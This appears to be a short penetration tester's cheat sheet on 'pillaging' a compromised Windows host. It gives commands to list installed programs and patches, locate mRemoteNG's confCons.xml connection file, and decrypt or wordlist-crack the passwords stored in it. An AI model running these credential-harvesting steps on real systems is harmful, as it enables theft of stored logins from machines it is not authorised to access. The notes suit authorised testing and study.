installed-program

List installed programs

wmic product get name

Get-WmiObject -Class Win32_Product |  select Name, Version

Check windows patch level

#wmic

wmic qfe

#pillage #pillaging It is the process of obtaining information from a compromised system.

---

Enum installed application

dir "C:\Program Files"

dir "C:\Program Files (x86)"

Enum installed programs via powershell

$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation

$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation

$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

Discover config file of a software

ls C:\Users\%USERNAME%\AppData\Roaming\mRemoteNG

type C:\Users\%USERNAME%\AppData\Roaming\mRemoteNG\confCons.xml

dir /s /b Users.xml

Decrypt the password

mremoteng_decrypt.py, mremoteng_decrypt.py

python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkeri"

python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkeri" -p admin

Using for loop:

for password in $(cat /usr/share/wordlists/fasttrack.txt);do echo $password; python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p $password 2>/dev/null;done